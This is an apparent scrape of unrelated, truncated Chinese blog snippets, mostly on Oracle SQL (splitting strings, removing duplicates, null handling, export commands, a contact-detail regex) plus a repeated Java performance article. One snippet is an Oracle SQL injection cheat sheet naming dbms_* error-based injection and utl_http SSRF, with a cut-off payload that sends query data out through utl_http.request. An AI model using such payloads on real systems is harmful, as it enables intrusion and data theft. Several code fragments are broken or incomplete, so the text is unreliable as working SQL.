ID NUMBER1 137xxxx,138xxxx取出来成ID NUMBER1 137xxxx1 138xxxx create table test (id int, phone varchar2(200)); insert into test values (1,'13811111111,13311111111,13900000000'); insert into test values (2,'15811111111,15911111111,18800000000'); 第一种方式 sel

1.过滤和排序 SQL> --查询10号部门的所有员工信息 SQL> select * from emp ; 未选定行 SQL> ed SP2: 无法创建保存文件 "afiedt.buf" SQL SQL> c /empno/deptno; SQL> / EMPNO ENAME JOB MGR HIREDATE ---------- -------------------- ------------------ ---------- -----------

(1)nullif: NULLIF:如果exp1和exp2相等则返回空(NULL),否则返回第一个值 真: 假: (2)nvl/nvl2 测试失败无法实现:)记录   (3)如果是oracle报错注入,尝试dbms_*系列: 举一个例子: (4)utl_*_*   (ssrf) 举一个例子: 可以导致ssrf攻击 如果没过滤select 和from,可直接外带数据出来: select * from t_user where name='admin'||utl_http.request('http

Oralce 支持SQL XQuery查询 一个简单示例: SELECT XMLQuery('for $i in /Videogame return $i/Type' passing by value X RETURNING CONTENT) FROM (SELECT XMLTYPE('<Videogame><Type>Racing</Type><Name>NFS Most Wanted</Name><Version>2.0</

CREATE OR REPLACE FUNCTION GET_CHINESE(P_NAME IN VARCHAR2) RETURN VARCHAR2 IS V_CODE        VARCHAR2(30000) := ''; V_CHINESE     VARCHAR2(4000) := ''; V_NON_CHINESE VARCHAR2(4000) := ''; V_COMMA       PLS_INTEGER; V_CODE_Q      PLS_INTEGER; V_CODE_W 

许多应用程序在压力测试阶段或在生产环境中都会遇到性能问题.如果我们看一下性能问题背后的原因,会发现很多是由数据处理不当造成.数据处理在应用面对大数据量时是非常关键的.这里有一些实用的数据处理技巧可以帮助更好地提升Java应用程序性能. 减少数据传输 在任何Java应用程序中,方法调用要么是为调用方完成某项任务,要么是对输入数据进行处理.这两个目标都需要在调用者和处理方法之间进行数据交换.关于最小化函数传入和输出的数据量有一个经验之谈:数据越小好处越多.比如越小的数据处理就越少,需要清理的对象越少

提升你的Java应用性能:改善数据处理 作者:贾小骏  发布于07月26日 10:17 许多应用程序在压力测试阶段或在生产环境中都会遇到性能问题.如果我们看一下性能问题背后的原因,会发现很多是由数据处理不当造成.数据处理在应用面对大数据量时是非常关键的.这里有一些实用的数据处理技巧可以帮助更好地提升Java应用程序性能. 减少数据传输 在任何Java应用程序中,方法调用要么是为调用方完成某项任务,要么是对输入数据进行处理.这两个目标都需要在调用者和处理方法之间进行数据交换.关于最小化函数传入和输

写在开始前 从两周前我花了大量的业余时间阅读GoldenGate官方文档,并根据文档实践和进一步学习了解GoldenGate,以下便是根据官方文档理解总结的GoldenGate学习内容: Oracle GoldenGate 一.介绍和安装 Oracle GoldenGate 二.配置和使用 Oracle GoldenGate 三.加密 在[美] 莫提默·J.艾德勒,[美] 查尔斯·范多伦著的[How to Read a Book]一书中,作者强调如果你每天所学的知识你不能用你自己的语言去描述或记

有些输入不允许用户输入联系方式.可以使用以下正则表达式来判断是否输入敏感信息 var reg = new RegExp("(微信|QQ|qq|weixin|1[0-9]{10}|[a-zA-Z0-9\-\_]{6,16}|[0-9]{6,11})+",'g'); 解读: 以上正则表达可判断用户是否输入指定规则的数字.字母组合和关键字. 匹配的内容有: 1:关键字:“微信” "QQ" "qq" “weixin” 2:手机号(1开头,长度为11的纯数

该函数实现过滤前后的指定的字符串,诸如过滤分隔符等.可用于过滤字符串中的逗号分割符.特别说明:substr()函数支持从字符串倒数开始读取,例如: dbms_output.put_line( substr('Hello World',-3,3)); 执行结果:rld --过滤字符串前后的多疑字符,诸如过滤字符串前后的多余逗号 Function Fn_DislodgeSplitChar( P_FacultyList In Varchar2 Default '', P_FacultyChar In

在数据处理中,经常会遇到类似这样的情况:数据库中存在多条记录,其中某些字段值相同,其他字段值不同.实际的业务需要针对这样的情况,只保留一条数据,其他数据删除.如何做到呢?在sql中有top关键字相对容易做到,但是在oracle中不支持top关键字,如果实现同样的效果就会小费周折.具体实现方法如下举例: 假如现在有表Test,其中记录 现在业务要求针对id,time相同的记录只保留一条,即处理后得结果为 ORACLE语句为   select t1.*,rowid from test t1  whe

一,首先想到: 1,关键字distinct 2,group by 3,MAX,MIN这样的函数被称为聚集函数,和GROUP搭配起来用 但均无法实现,执行结果如下 举例: 表名:OffsiteOutreachTeam_List 字段:CORPADDLEVEL(获取该字段不重复数据),CHANNELCODE, CORPNAME, BELONGORGNAME 执行结果: 1,distinct --一个字段有效,多个字段无效 select distinct CORPADDLEVEL from Offsi

1.知识点:能够对比以下的录屏进行阅读 SQL> --字符串大写和小写敏感 SQL> --查询名叫KING的员工信息 SQL> select * 2 from emp 3 where ename = 'KING'; SQL> --日期格式敏感 SQL> --查询入职日期为17-11月-81的员工 SQL> select * 2 from emp 3 where hiredate='17-11月-81'; --正确样例 SQL> ed 已写入 file afiedt

在Oracle查询过程中,条件查询时,用"<>"操作符进行查询会过滤掉字段为null的记录. 一.不使用"<>"操作符查询:select t.field_id,t.field_name from S_PROJECT_FIELD_DATA t WHERE t.project_id ='8a81a7c96073effe01608c13985366b4' 结果如图:field_id为null的记录可以查询到. 二.用不等于"<>

 select regexp_replace(col,'[A-Za-z]') from dual;  --> 12345col 列名 

select * from emp where ename like '%\_%' escape '\'; escape 定义转义字符串,这样转义字符串后的字符就是普通字符.

对数据库某些意外情况,引起的重复数据,如何处理呢? ----------------查重复: select * from satisfaction_survey s and s.project_no in (select ss.project_no from satisfaction_survey ss group by ss.project_no ) order by s.project_no, s.submit_time 思路:从预先选出的数据中(s.as_side = 0),根据特定字段(

sql语句 create table AAAATest as select rownum as cardNo, 'test' creator, to_char(sysdate + rownum//, 'yyyy-mm-dd hh24:mi:ss') as dueDate, password, productId, 'ONSELL' status from dual connect by level <= ; level :表示要生成记录量 参考:https://blog.csdn.net/yzs

exp username/password@dbname   file='d:\hehe.dmp' tables=(%) query="""where UPDATE_DTIME >= to_date('2017-01-01','yyyy-mm-dd')""" create user DB_USER_NAME identified by DB_USER_PWDdefault tablespace ETL; grant connect,reso

白名单:数据 id ,  g_id,sys_id 1,2,3 1,2,4   黑名单:数据 id ,  g_id,sys_id b,2,3   结果  1,2,4      select t1.*  from sys_baimingdan t1 where not exists (select 1          from sys_heimingdan t2         where  t1.sys_id = t2.sys_id           and t1.g_ID = t2.g_ID

select * from uc.uc_customer a where to_char(a.create_date,'YYYY-MM-DD')>'2017-07-21'